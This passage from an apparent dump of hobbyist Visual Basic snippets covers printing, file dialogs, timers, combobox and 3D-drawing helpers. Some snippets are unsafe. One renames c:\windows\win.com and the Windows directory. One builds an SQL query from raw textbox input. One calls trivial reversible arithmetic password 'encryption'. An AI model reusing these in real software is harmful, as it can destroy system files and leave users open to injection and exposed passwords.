mstrDefaultSufixoDecimal1 = x & IIf(Right(x, 1) = \"\", \"\", \" \")\nEnd Property\nPublic Property Get SufixoDecimalPlural() As String\n SufixoDecimalPlural = mstrDefaultSufixoDecimal2\nEnd Property\nPublic Property Let SufixoDecimalPlural(x As String)\n mstrDefaultSufixoDecimal2 = x & IIf(Right(x, 1) = \"\", \"\", \" \")\nEnd Property\n"},{"WorldId":1,"id":2463,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2472,"LineNumber":1,"line":"'This is where the printing is called - assumes a form or UserControl with Windows common dialog control called dlgPrint, a rich text box called rtbText and a command button called cmdPrint\n \nPrivate Sub cmdPrint_Click()\n dlgPrint.Flags = cdlPDReturnDC + cdlPDNoPageNums\n If rtbText.SelLength = 0 Then\n dlgPrint.Flags = dlgPrint.Flags + cdlPDAllPages\n Else\n dlgPrint.Flags = dlgPrint.Flags + cdlPDSelection\n End If\n dlgPrint.ShowPrinter\n \n PrintRTF rtbText, 1440, 1440, 1440, 1440 ' 1440 Twips = 1 Inch\nEnd Sub\n'Printing constants - these should go in form or UserControl Declarations\nPrivate Const WM_USER As Long = &H400\nPrivate Const EM_FORMATRANGE As Long = WM_USER + 57\nPrivate Const EM_SETTARGETDEVICE As Long = WM_USER + 72\nPrivate Const PHYSICALOFFSETX As Long = 112\nPrivate Const PHYSICALOFFSETY As Long = 113\nPrivate Type Rect\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nPrivate Type CharRange\n cpMin As Long ' First character of range (0 For start of doc)\n cpMax As Long ' Last character of range (-1 For End of doc)\nEnd Type\nPrivate Type FormatRange\n hdc As Long ' Actual DC to draw on\n hdcTarget As Long ' Target DC For determining text formatting\n rc As Rect ' Region of the DC to draw to (in twips)\n rcPage As Rect ' Region of the entire DC (page size) (in twips)\n chrg As CharRange ' Range of text to draw (see above declaration)\nEnd Type\n \nPrivate Declare Function GetDeviceCaps Lib \"gdi32\" ( _\n ByVal hdc As Long, ByVal nIndex As Long) As Long\nPrivate Declare Function SendMessage Lib \"USER32\" Alias \"SendMessageA\" _\n (ByVal hWnd As Long, ByVal msg As Long, ByVal wp As Long, _\n lp As Any) As Long\nPrivate Declare Function CreateDC Lib \"gdi32\" Alias \"CreateDCA\" _\n (ByVal lpDriverName As String, ByVal lpDeviceName As String, _\n ByVal lpOutput As Long, ByVal lpInitData As Long) As Long\n'Routine that does the printing\nPrivate Sub PrintRTF(RTF As RichTextBox, LeftMarginWidth As Long, TopMarginHeight, _\n RightMarginWidth, BottomMarginHeight)\n \n On Error GoTo ErrorHandler\n \n Dim LeftOffset As Long, TopOffset As Long\n Dim LeftMargin As Long, TopMargin As Long\n Dim RightMargin As Long, BottomMargin As Long\n Dim fr As FormatRange\n Dim rcDrawTo As Rect\n Dim rcPage As Rect\n Dim TextLength As Long\n Dim NextCharPosition As Long\n Dim R As Long\n \n ' Start a print job to get a valid Printer.hDC\n Printer.Print Space(1)\n Printer.ScaleMode = vbTwips\n \n ' Get the offsett to the printable area on the page in twips\n LeftOffset = Printer.ScaleX(GetDeviceCaps(Printer.hdc, _\n PHYSICALOFFSETX), vbPixels, vbTwips)\n TopOffset = Printer.ScaleY(GetDeviceCaps(Printer.hdc, _\n PHYSICALOFFSETY), vbPixels, vbTwips)\n \n ' Calculate the Left, Top, Right, and Bottom margins\n LeftMargin = LeftMarginWidth - LeftOffset\n TopMargin = TopMarginHeight - TopOffset\n RightMargin = (Printer.Width - RightMarginWidth) - LeftOffset\n BottomMargin = (Printer.Height - BottomMarginHeight) - TopOffset\n \n ' Set printable area rect\n rcPage.Left = 0\n rcPage.Top = 0\n rcPage.Right = Printer.ScaleWidth\n rcPage.Bottom = Printer.ScaleHeight\n \n ' Set rect in which to print (relative to printable area)\n rcDrawTo.Left = LeftMargin\n rcDrawTo.Top = TopMargin\n rcDrawTo.Right = RightMargin\n rcDrawTo.Bottom = BottomMargin\n \n ' Set up the print instructions\n fr.hdc = Printer.hdc ' Use the same DC For measuring and rendering\n fr.hdcTarget = Printer.hdc ' Point at printer hDC\n fr.rc = rcDrawTo ' Indicate the area On page to draw to\n fr.rcPage = rcPage ' Indicate entire size of page\n fr.chrg.cpMin = 0 ' Indicate start of text through\n fr.chrg.cpMax = -1 ' End of the text\n \n ' Get length of text in RTF\n TextLength = Len(RTF.Text)\n ' Loop printing each page until done\n Do\n ' Print the page by sending EM_FORMATRANGE message\n NextCharPosition = SendMessage(RTF.hWnd, EM_FORMATRANGE, True, fr)\n If NextCharPosition >= TextLength Then Exit Do 'If done then exit\n fr.chrg.cpMin = NextCharPosition ' Starting position For next page\n Printer.NewPage ' Move On to Next page\n Printer.Print Space(1) ' Re-initialize hDC\n fr.hdc = Printer.hdc\n fr.hdcTarget = Printer.hdc\n Loop\n \n ' Commit the print job\n Printer.EndDoc\n \n ' Allow the RTF to free up memory\n R = SendMessage(RTF.hWnd, EM_FORMATRANGE, False, ByVal CLng(0))\n \nErrorHandler:\n\nEnd Sub\n"},{"WorldId":1,"id":2478,"LineNumber":1,"line":"'Browse For Folder - the easy way\n'\n'Providing your users an elegant method of selecting a folder(as working\n'directory, or to save/load files to/from, or....) is often desired, but\n'hard to implement. Cumbersome SHFileOpen routines, or complicated\n'hand-made alternatives are needed. Pardon... were needed.\n'Although it is said at several places, including Microsoft (!), you can't\n'do \"Browse for Folder\" with a Common Dialog control, I'll show you it can be\n'done. Quick and Easy. And with very familiar interface to the users, including\n'all standard options for navigating and browsing - even creation of a new folder\n'and use of network paths.\n'\n'Start a new VB6 project, and put a CommandButton and a CommonDialog control on\n'the form. Paste in this code and you're ready to go.\n'(c)1999 John Tegelaar, The Netherlands\nOption Explicit\nDim sTempDir As String\nDim sMyNewDirectory As String\nPrivate Sub Command1_Click()\n'Set up the CommonDialog control\nOn Local Error Resume Next 'Don't break on errors here\nsTempDir = CurDir 'Store the current active directory\nCommonDialog1.DialogTitle = \"Select a directory\" 'Titlebar caption\nCommonDialog1.InitDir = App.Path 'Folder to start with, might be \"C:\\\" or so also\nCommonDialog1.FileName = \"Select a Directory\" 'Put something in filenamebox\nCommonDialog1.Flags = cdlOFNNoValidate + cdlOFNHideReadOnly 'Set CD Flags\n'Here comes the big trick\nCommonDialog1.Filter = \"Folders|*.~#!\"\n'This reads as \"show the user 'Folders' as filetype\", while the files-filter\n'is specified as being an impossible filetype. This causes the dialog to show\n'folders only (as there's no matching file found).\nCommonDialog1.CancelError = True 'allow escape key/cancel\nCommonDialog1.ShowSave 'show the dialog.\n'Note: ShowSave has more approperiate button captions then ShowOpen in this case.\nIf Err <> 32755 Then 'User didn't chose Cancel.\n sMyNewDirectory = CurDir 'CurDir has been changed to the selected one\n \n MsgBox (\"Directory selected: \" & sMyNewDirectory) 'Show the result\nEnd If\nChDir sTempDir 'restore path to what it was at entering\n\nEnd Sub\n"},{"WorldId":1,"id":2487,"LineNumber":1,"line":"'add following code to your form\nVERSION 4.00\nBegin VB.Form Form1 \n Caption = \"Very simple picture viewer\"\n ClientHeight = 9450\n ClientLeft = 1140\n ClientTop = 1515\n ClientWidth = 11460\n Height = 9855\n Left = 1080\n LinkTopic = \"Form1\"\n ScaleHeight = 9450\n ScaleWidth = 11460\n Top = 1170\n Width = 11580\n Begin VB.PictureBox Picture1 \n AutoSize = -1 'True\n Height = 9135\n Left = 1680\n ScaleHeight = 9075\n ScaleWidth = 9675\n TabIndex = 3\n Top = 120\n Width = 9735\n End\n Begin VB.FileListBox File1 \n Height = 6300\n Left = 0\n TabIndex = 2\n Top = 3000\n Width = 1575\n End\n Begin VB.DirListBox Dir1 \n Height = 2505\n Left = 0\n TabIndex = 1\n Top = 480\n Width = 1575\n End\n Begin VB.DriveListBox Drive1 \n Height = 315\n Left = 0\n TabIndex = 0\n Top = 120\n Width = 1575\n End\nEnd\nAttribute VB_Name = \"Form1\"\nAttribute VB_Creatable = False\nAttribute VB_Exposed = False\nPrivate Sub Dir1_Change()\nFile1.Path = Dir1.Path\nEnd Sub\nPrivate Sub Drive1_Change()\nDir1.Path = Drive1.Drive\nEnd Sub\nPrivate Sub File1_Click()\nOn Error Resume Next ' if not supported picture format, don't show it\nPicture1.Picture = LoadPicture(Dir1.Path + \"\\\" + File1.filename)\nEnd Sub\n"},{"WorldId":1,"id":2490,"LineNumber":1,"line":"'***************************************************************************\n'*PUT THE FOLLOWING INTO A CLASS MODULE. NAME THE CLASS MODULE \"CStopWatch\"*\n'***************************************************************************\nPrivate m_StartTime As Single\nPrivate m_StopTime As Single\nConst cSecsInDay As Long = 86400\nPublic Enum cPauseConstants 'I'm not gonna explain this, consult VB Help if you want to know what it does\n cSeconds = 0\n cMinutes = 1\n cHours = 2\nEnd Enum\nPublic Sub StartTiming()\n m_StartTime = Timer\nEnd Sub\nPublic Sub StopTiming()\n m_StopTime = Timer\nEnd Sub\nPublic Function TimeElapsed() As Single\n \n Dim tempTimeElapsed\n \n tempTimeElapsed = m_StopTime - m_StartTime 'see how many seconds passed since stopwatch has started\n \n If tempTimeElapsed < 0 Then 'if value of above is less than 0, assume that timing started before midnight and ended after midnight\n \n TimeElapsed = tempTimeElapsed + cSecsInDay 'add number of seconds in a day to the negative number and you have the time that has elapsed\n \n Else 'if it's a positive number...\n \n TimeElapsed = tempTimeElapsed\n \n End If\n \nEnd Function\n'****************************************************************************\n'*To use the functions in your program, paste the following code into a form*\n'****************************************************************************\n'This goes in the Declaration Section\nDim TimeKeeper as CStopWatch\n'Press command1 to start timing\nPrivate Sub Command1_Click()\n Set TimeKeeper = New CStopWatch\n TimeKeeper.StartTiming\nEnd Sub\n\n'Press command2 to stop timing\nPrivate Sub Command2_Click()\n TimeKeeper.StopTiming\nEnd Sub\n\n'Press command3 to display the number of seconds that have elapsed, in a MsgBox\nPrivate Sub Command3_Click()\n Dim Elapsed as Single\n \n Elapsed = TimeKeeper.TimeElapsed\n MsgBox Elapsed\nEnd Sub\n'Please give comments and suggestions on this code. It's basically my first\n'class module. Email me at: <c03jabot@prg.wcape.school.za>"},{"WorldId":1,"id":2497,"LineNumber":1,"line":"'*************************************\n'This goes into a class module\n'Important: NAME THE MODULE \"CPause\"\n'*************************************\nConst iSecsInDay As Long = 86400\nEnum iConstants\n iSeconds = 0\n iMinutes = 1\n iHours = 2\n iMilliSec = 3\nEnd Enum\n \nPublic Function pPause(ByVal Number As Single, _\n Optional ByVal Unit As iConstants)\n Dim iStopTime, fakeTimer, sAfterMidnight, sBeforeMidnight\n If Unit = iSeconds Then\n Number = Number\n ElseIf Unit = iMinutes Then\n Number = Number * 60\n ElseIf Unit = iHours Then\n Number = Number * 3600\n ElseIf Unit = iMilliSec Then\n Number = Number / 1000\n End If\n fakeTimer = Timer\n iStopTime = fakeTimer + Number\n If iStopTime > iSecsInDay Then\n sAfterMidnight = iStopTime - iSecsInDay\n sBeforeMidnight = Number - sAfterMidnight\n fakeTimer = Timer\n While Timer < fakeTimer + sBeforeMidnight And Timer <> 0\n DoEvents\n Wend\n fakeTimer = Timer\n While Timer < fakeTimer + sAfterMidnight\n DoEvents\n Wend\n Else 'if pausing won't continue through midnight\n While Timer < iStopTime\n DoEvents\n Wend\n End If\nEnd Function\n'************************************\n'Put the following in the Declaration\n'section of a form\n'************************************\nDim mytimer as CPause\n'***************************************************\n'Put the following into any Sub (eg. Command1_Click)\n'***************************************************\nSet mytimer = New CPause\n'to pause for 10 seconds, use the following call\ni = mytimer.pPause(10, iSeconds)\n'**************************************************\n'End of Code\n'I welcome any comments bug reports or enhancements that can be made!\n'<c03jabot@prg.wcape.school.za>"},{"WorldId":1,"id":2509,"LineNumber":1,"line":"No Code, everything is stated in the introduction."},{"WorldId":1,"id":2515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2522,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2532,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2533,"LineNumber":1,"line":"form2.show 1 'place this in the button or link"},{"WorldId":1,"id":2537,"LineNumber":1,"line":"Private Sub Command1_Click()\n' To rename a file\nName \"c:\\windows\\win.com\" As \"c:\\windows\\rubbish.exe\"\n' To rename a directory\nName \"c:\\windows\" As \"c:\\rubbish\"\nEnd Sub"},{"WorldId":1,"id":2548,"LineNumber":1,"line":"' Three simplified combobox Tasks:\n'\t1. Filling a cboBox with a Recordset\n' \t2. Setting the cboText to a recordset field\n'\t using an numeric recorset field.\n'\t3. Setting the cboText to a recordset field\n'\t using a non-numeric recordset field.\n' \n'\nPublic Sub GetCBOList(cbo As ComboBox)\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n' Filling a cboBox\n' To make this more dynamic, pass the\n' Sub the Desc as a string, and the ID\n' As a long or integer\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n On Error GoTo FUNCT_ERR\n Dim obj As New cClass\n Dim rst As New ADODB.Recordset\n \n ' I am using a class Method to get\n ' My Recordset. Getlist is a Class \n ' Function that returns a disconnected Recordset\n Set rst = obj.GetList\n \n ' Test the Recordset State to see \n ' it is open.\n If rst.State = 1 Then\n\t' Make sure I don't have an empty rst\n Do Until rst.EOF\n ' Always test for nulls\n If Not IsNull(rst!Desc) Then cbo.AddItem rst!Desc\n If Not IsNull(rst!UomID) Then cbo.ItemData(cbo.NewIndex) = rst!UomID\n ' Forget the movenext and you get an endless loop and\n ' an overflow error.\n rst.MoveNext\n Loop\n \n rst.Close\n End If\n \nFUNCT_EXIT:\n Set obj = Nothing\n Set rst = Nothing\n \n Exit Sub\nFUNCT_ERR:\n Err.Raise Err.Number, Err.Source, Err.Description\n Resume FUNCT_EXIT\nEnd Sub\n\nPublic Sub SetCboText(cbo As ComboBox, val As Variant)\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n' PASS THE PROCEDURE A CBO NAME AND A RECORDSET FIELD\n' IF THE FIELD IS IN THE DROP-DOWN LIST IT WILL SET THE TEXT\n' VALUE FOR THAT CBO TO the listItem.\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n Dim i As Long\n \n ' LOOP THROUGH CBO Items\n For i = 0 To cbo.ListCount - 1\n If cbo.ItemData(i) = val Then\n cbo.ListIndex = i\n GoTo FUNCT_EXIT\n End If\n Next i\n \nFUNCT_EXIT:\nEnd Sub\n\nPublic Sub SetCboText_NonNumeric(cbo As ComboBox, val As Variant)\n' SUB USES cboBOXES THAT DO NOT HAVE A NUMERIC ITEMDATA VALUE\n' PASS THE PROCEDURE A CBO NAME AND A RECORDSET FIELD\n' IF THE FIELD IS IN THE DROP-DOWN LIST IT WILL SET THE TEXT\n' VALUE FOR THAT FIELD.\n' A good example of Non-Numeric ID is a StateCode: ie.\n' TX, MA, NY...\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n Dim i As Long\n \n ' Loop through the CBO items, remember the cbo & lstBox\n ' are zero based lists\n For i = 0 To cbo.ListCount - 1\n If cbo.List(i) = val Then\n cbo.Text = cbo.List(i)\n ' DoEvents isn't really necessary\n DoEvents\n GoTo FUNCT_EXIT\n End If\n Next i\n \nFUNCT_EXIT:\nEnd Sub\n"},{"WorldId":1,"id":2561,"LineNumber":1,"line":"Top = Screen.Height / 2 - Height / 2\n Left = Screen.Width / 2 - Width / 2"},{"WorldId":1,"id":2573,"LineNumber":1,"line":"Public Sub SunkenPanel3D(obj As Object)\n ' Gives the effect of sinking the entire\n ' form or picture box, much like a 3d picture\n ' box with border style set to 1 - Fixed Single\n \n ' Hold the original scale mode\n Dim nScaleMode As Integer\n \n ' Used for user defined scale only\n Dim sngScaleTop As Single\n Dim sngScaleLeft As Single\n Dim sngScaleWidth As Single\n Dim sngScaleHeight As Single\n \n If (TypeOf obj Is PictureBox) Or (TypeOf obj Is Form) Then\n \n nScaleMode = obj.ScaleMode\n \n If nScaleMode = 0 Then ' user defined scale\n sngScaleTop = obj.ScaleTop\n sngScaleLeft = obj.ScaleLeft\n sngScaleWidth = obj.ScaleWidth\n sngScaleHeight = obj.ScaleHeight\n End If\n \n obj.ScaleMode = 3 ' Pixel\n obj.Line (2, 2)-(obj.ScaleWidth - 1, 2), vb3DDKShadow\n obj.Line (2, 2)-(2, obj.ScaleHeight - 1), vb3DDKShadow\n obj.Line (2, obj.ScaleHeight - 2)-(obj.ScaleWidth - 1, obj.ScaleHeight - 2), vb3DHighlight\n obj.Line (obj.ScaleWidth - 2, obj.ScaleHeight - 2)-(obj.ScaleWidth - 2, 1), vb3DHighlight\n \n ' Set the scale mode back to the same as it was\n obj.ScaleMode = nScaleMode\n If nScaleMode = 0 Then\n obj.ScaleTop = sngScaleTop\n obj.ScaleWidth = sngScaleWidth\n obj.ScaleLeft = sngScaleLeft\n obj.ScaleHeight = sngScaleHeight\n End If\n End If\nEnd Sub\n\nPublic Sub RaisedPanel3D(obj As Object)\n ' Gives the effect of raising the entire\n ' picture box. Much like a 3d Panel\n \n \n ' Hold the original scale mode\n Dim nScaleMode As Integer\n \n ' Used for user defined scale only\n Dim sngScaleTop As Single\n Dim sngScaleLeft As Single\n Dim sngScaleWidth As Single\n Dim sngScaleHeight As Single\n \n If (TypeOf obj Is PictureBox) Or (TypeOf obj Is Form) Then\n \n nScaleMode = obj.ScaleMode\n \n If nScaleMode = 0 Then ' user defined scale\n sngScaleTop = obj.ScaleTop\n sngScaleLeft = obj.ScaleLeft\n sngScaleWidth = obj.ScaleWidth\n sngScaleHeight = obj.ScaleHeight\n End If\n \n obj.ScaleMode = 3 ' Pixel\n obj.Line (1, 1)-(obj.ScaleWidth - 1, 1), vb3DHighlight\n obj.Line (1, 2)-(1, obj.ScaleHeight), vb3DHighlight\n obj.Line (1, obj.ScaleHeight - 1)-(obj.ScaleWidth, obj.ScaleHeight - 1), vb3DShadow\n obj.Line (obj.ScaleWidth - 1, obj.ScaleHeight - 2)-(obj.ScaleWidth - 1, 1), vb3DShadow\n \n ' Set the scale mode back to the same as it was\n obj.ScaleMode = nScaleMode\n If nScaleMode = 0 Then\n obj.ScaleTop = sngScaleTop\n obj.ScaleWidth = sngScaleWidth\n obj.ScaleLeft = sngScaleLeft\n obj.ScaleHeight = sngScaleHeight\n End If\n End If\nEnd Sub\n\nPublic Sub Raised3D(obj As Object)\n ' Gives the effect of a raised line around\n ' the form or picturebox\n \n ' Hold the original scale mode\n Dim nScaleMode As Integer\n \n ' Used for user defined scale only\n Dim sngScaleTop As Single\n Dim sngScaleLeft As Single\n Dim sngScaleWidth As Single\n Dim sngScaleHeight As Single\n \n If (TypeOf obj Is PictureBox) Or (TypeOf obj Is Form) Then\n \n nScaleMode = obj.ScaleMode\n \n If nScaleMode = 0 Then ' user defined scale\n sngScaleTop = obj.ScaleTop\n sngScaleLeft = obj.ScaleLeft\n sngScaleWidth = obj.ScaleWidth\n sngScaleHeight = obj.ScaleHeight\n End If\n \n obj.ScaleMode = 3 ' Pixel\n obj.Line (1, 1)-(obj.ScaleWidth - 1, 1), vb3DHighlight\n obj.Line (1, 2)-(obj.ScaleWidth, 2), vb3DShadow\n obj.Line (1, 2)-(1, obj.ScaleHeight), vb3DHighlight\n obj.Line (2, 2)-(2, obj.ScaleHeight), vb3DShadow\n obj.Line (1, obj.ScaleHeight - 2)-(obj.ScaleWidth, obj.ScaleHeight - 2), vb3DHighlight\n obj.Line (1, obj.ScaleHeight - 1)-(obj.ScaleWidth, obj.ScaleHeight - 1), vb3DShadow\n obj.Line (obj.ScaleWidth - 2, obj.ScaleHeight - 2)-(obj.ScaleWidth - 2, 1), vb3DHighlight\n obj.Line (obj.ScaleWidth - 1, obj.ScaleHeight - 2)-(obj.ScaleWidth - 1, 1), vb3DShadow\n \n ' Set the scale mode back to the same as it was\n obj.ScaleMode = nScaleMode\n If nScaleMode = 0 Then\n obj.ScaleTop = sngScaleTop\n obj.ScaleWidth = sngScaleWidth\n obj.ScaleLeft = sngScaleLeft\n obj.ScaleHeight = sngScaleHeight\n End If\n End If\nEnd Sub\n\nPublic Sub Etched3D(obj As Object)\n ' Gives the effect of an eteched line around the\n ' form or picture box.\n ' Hold the original scale mode\n Dim nScaleMode As Integer\n \n ' Used for user defined scale only\n Dim sngScaleTop As Single\n Dim sngScaleLeft As Single\n Dim sngScaleWidth As Single\n Dim sngScaleHeight As Single\n \n If (TypeOf obj Is PictureBox) Or (TypeOf obj Is Form) Then\n \n nScaleMode = obj.ScaleMode\n \n If nScaleMode = 0 Then ' user defined scale\n sngScaleTop = obj.ScaleTop\n sngScaleLeft = obj.ScaleLeft\n sngScaleWidth = obj.ScaleWidth\n sngScaleHeight = obj.ScaleHeight\n End If\n \n obj.ScaleMode = 3 ' Pixel\n obj.Line (1, 1)-(obj.ScaleWidth - 1, 1), vb3DShadow\n obj.Line (1, 2)-(obj.ScaleWidth, 2), vb3DHighlight\n obj.Line (1, 2)-(1, obj.ScaleHeight), vb3DShadow\n obj.Line (2, 2)-(2, obj.ScaleHeight), vb3DHighlight\n obj.Line (1, obj.ScaleHeight - 2)-(obj.ScaleWidth, obj.ScaleHeight - 2), vb3DShadow\n obj.Line (1, obj.ScaleHeight - 1)-(obj.ScaleWidth, obj.ScaleHeight - 1), vb3DHighlight\n obj.Line (obj.ScaleWidth - 2, obj.ScaleHeight - 2)-(obj.ScaleWidth - 2, 1), vb3DShadow\n obj.Line (obj.ScaleWidth - 1, obj.ScaleHeight - 2)-(obj.ScaleWidth - 1, 1), vb3DHighlight\n \n ' Set the scale mode back to the same as it was\n obj.ScaleMode = nScaleMode\n If nScaleMode = 0 Then\n obj.ScaleTop = sngScaleTop\n obj.ScaleWidth = sngScaleWidth\n obj.ScaleLeft = sngScaleLeft\n obj.ScaleHeight = sngScaleHeight\n End If\n End If\nEnd Sub"},{"WorldId":1,"id":2575,"LineNumber":1,"line":"' ShellTrash Demo\n' by Barry L. Camp (blcamp@yahoo.com)\nOption Explicit ' The Author's preference.\nConst SHERB_NOCONFIRMATION = &H1& ' No dialog confirming the deletion of the objects will be displayed.\nConst SHERB_NOPROGRESSUI = &H2& ' No dialog indicating the progress will be displayed.\nConst SHERB_NOSOUND = &H4& ' No sound will be played when the operation is complete.\nPrivate Declare Function SHEmptyRecycleBin Lib \"shell32\" Alias \"SHEmptyRecycleBinA\" _\n (ByVal hWnd As Long, ByVal lpBuffer As String, ByVal dwFlags As Long) As Long\nSub Main()\n Dim rc As Long\n Dim nFlags As Long\n ' Suppresses all UI elements, for \"quiet\" operation.\n nFlags = SHERB_NOCONFIRMATION Or SHERB_NOPROGRESSUI Or SHERB_NOSOUND\n rc = SHEmptyRecycleBin(0&, vbNullString, nFlags)\nEnd Sub\n"},{"WorldId":1,"id":2583,"LineNumber":1,"line":"' Trapping And Releaseing Mouse Routine's -----Start\nPublic Function LetMouseGo(Frm2LetMouseGo As Object)\n Dim erg As Long\n Dim NewRect As RECT\n With NewRect\n .Left = 0&\n .Top = 0&\n .Right = Screen.Width / Screen.TwipsPerPixelX\n .Bottom = Screen.Height / Screen.TwipsPerPixelY\n End With\n erg& = ClipCursor(NewRect)\n'Be Sure To Add\n'\n' Private Sub Form_Unload(Cancel As Integer)\n' LetMouseGo Me\n' End Sub\n'\n'To The Form That You Trap Incase They Ctrl-alt-Del Or X\n'Out Of The Program, Otherwise, There Mouse Will Still Be\n'Trapped In The Form Square!!\nEnd Function\nPublic Function TrapMouse(Frm2MouseTrap As Object)\n Dim x As Long, y As Long, erg As Long\n Dim NewRect As RECT\n x& = Screen.TwipsPerPixelX\n y& = Screen.TwipsPerPixelY\n With NewRect\n .Left = Frm2MouseTrap.Left / x&\n .Top = Frm2MouseTrap.Top / y&\n .Right = .Left + Frm2MouseTrap.Width / x&\n .Bottom = .Top + Frm2MouseTrap.Height / y&\n End With\n erg& = ClipCursor(NewRect)\nEnd Function\n' Trapping And Releaseing Mouse Routine's -----End\n' Random ForeColor Or BackColor Or FillColor On Form Or Object's ---Start\nPublic Function RandColor(ObjectToFlash As Object, ForeColorBackColorOrFillColor As Object)\n Dim c(2) As Byte\n For x = 0 To 2\n Randomize\n c(x) = Int((255 - 0 + 1) * Rnd + 0)\n Next x\n ObjectToFlash.ForeColorBackColorOrFillColor = RGB(c(0), c(1), c(2))\nEnd Function\n' Random ForeColor Or BackColor Or FillColor On Form Or Object's ---End\n'Special Closing Affect ---Start\nPublic Function WickedFormClose(Form2Close As Object)\n GotoVal = (Form2Close.Height / 12)\n For Gointo = 1 To GotoVal\n DoEvents\n Form2Close.Height = Form2Close.Height - 50\n Form2Close.Top = (Screen.Height - Form2Close.Height) \\ 2\n Form2Close.Width = Form2Close.Width - 50\n Form2Close.Left = (Screen.Width - Form2Close.Width) \\ 2\n If Form2Close.Width <= 50 Then Unload Form2Close\n If Form2Close.Height <= 50 Then Unload Form2Close\n Next Gointo\nUnload Form2Close\nEnd Function\n'Special Closing Affect ---End\n'Retrieve File Off A WebPage Internet ---Start\n' Usage Example\n' GetInterNetFile \"http://somewhere.com/ifsomething/\", \"test.zip\", \"c:\"\n' Note: You Have To Put A Microsoft Internet Transfer Control On The Form!\nPublic Function GetInterNetFile(Location As String, Filename As String, DirToSaveAt As String)\nDim mocha As String\nmocha = Location & Filename\nDim bData() As Byte\nDim intFile As Integer\nintFile = FreeFile()\nbData() = Inet1.OpenURL(mocha, icByteArray)\nOpen DirToSaveAt & \"\\\" & Filename For Binary Access Write _\nAs #intFile\nPut #intFile, , bData()\nClose #intFile\nEnd Function\n'Retrieve File Off The Internet ---End\n' Yea, I know These Are Probably Crapily Coded But I'm Just Trying\n' To Show The New People To VB Some Little Need (pointless)\n' Thing's To Play Around With!!"},{"WorldId":1,"id":2594,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2600,"LineNumber":1,"line":"'By Jim Sivage \n'\n'ISO Global\n'http://www.isoglobal.com\n'\n'\n'Make f$ equal to folder you're testing.\n'\nf$ = \"C:\\WINDOWS\"\ndirFolder = Dir(f$, vbDirectory)\nIf dirFolder <> \"\" Then\n strmsg = MsgBox(\"This folder already exists.\", vbCritical):goto optout\nEnd If\n'directory exists action here\noptout:\n"},{"WorldId":1,"id":2616,"LineNumber":1,"line":"'simple just pass the password to it like this\n'Encrypt(\"password\")\nPrivate Function Encrypt(varPass As String)\nIf Dir(path to save password to) <> \"\" Then: Kill \"path to save password to\"\nDim varEncrypt As String * 50\nDim varTmp As Double\n Open \"path to save password to\" For Random As #1 Len = 50\n For I = 1 To Len(varPass)\n \n varTmp = Asc(Mid$(varPass, I, 1))\n varEncrypt = Str$(((((varTmp * 1.5) / 2.1113) * 1.111119) * I))\n Put #1, I, varEncrypt\n \n \n Next I\n Close #1\nEnd Function\n'returns the decrypted pass\n'like if decrypt() = \"password\" then\nPrivate Function Decrypt()\nOpen \"path to save password to\" For Random As #1 Len = 50\n Dim varReturn As String * 50\n Dim varConvert As Double\n Dim varFinalPass As String\n Dim varKey As Integer\n \n \n For I = 1 To LOF(1) / 50\n \n \n Get #1, I, varReturn\n varConvert = Val(Trim(varReturn))\n varConvert = ((((varConvert / 1.5) * 2.1113) / 1.111119) / I)\n varFinalPass = varFinalPass & Chr(varConvert)\n \n \n Next I\n Decrypt = varFinalPass\n Close #1\nEnd Function\n"},{"WorldId":1,"id":2624,"LineNumber":1,"line":"Private Sub txtSTREET_KeyUp(KeyCode As Integer, Shift As Integer)\nDim PrevLength As Integer, PrevStart As Integer\nIf Not KeyCode >= 65 Then Exit Sub\nIf firstcome Then firstcome = False: Exit Sub\n With DataEnvironment.Connection1.Execute(\"SELECT ADDRESS from tblFlats WHERE UCASE(ADDRESS) like '\" & UCase(Me.txtSTREET) & \"%'\")\n If Not .EOF Then\n If Not Me.txtSTREET = \"\" Then\n PrevStart = Len(Me.txtSTREET) + 1\n PrevLength = -Len(Me.txtSTREET) + Len(!ADDRESS)\n Me.txtSTREET.SelStart = PrevStart\n Me.txtSTREET.SelLength = PrevLength\n Me.txtSTREET.SelText = Mid$(!ADDRESS, Len(Me.txtSTREET) + 1)\n Me.txtSTREET.SelStart = PrevStart - 1\n Me.txtSTREET.SelLength = PrevLength\n End If\n 'Else\n 'MsgBox \"The entered fragment is not found in the list!\"\n 'Me.STREET = \"\"\n End If\n End With\nEnd Sub\n"},{"WorldId":1,"id":2626,"LineNumber":1,"line":"'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'FORM cTest\n'AUTHOR Mark Freni\n'DESC Class to hold tblTest Functions,\n' procedures, and variables\n'FUNCTIONS GetList, Update, Add \n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nOption Explicit\n Public Type UdtTest\n\t' If the table has many fields this becomes\n\t' very convenient\n TestID As Long\n Field_1 As String\n Field_2 As Integer\n Active As Boolean\n End Type\n \nPublic Function GetList(Optional ByVal _\n ReturnAll As Boolean = False) As ADODB.Recordset\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n' Function : GetList\n' Purpose : Provide a disconnected recordset of tblTest \n' Author : Mark Freni\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n On Error GoTo FUNCT_ERR\n Dim conn As New ADODB.Connection\n Dim strSql As String\n Dim rst As New ADODB.Recordset\n \n strSql = \"SELECT * FROM tblTest\"\n \n If ReturnAll Then\n strSql = strSql & \" Where Active\"\n End If\n \n With conn\n .CursorLocation = 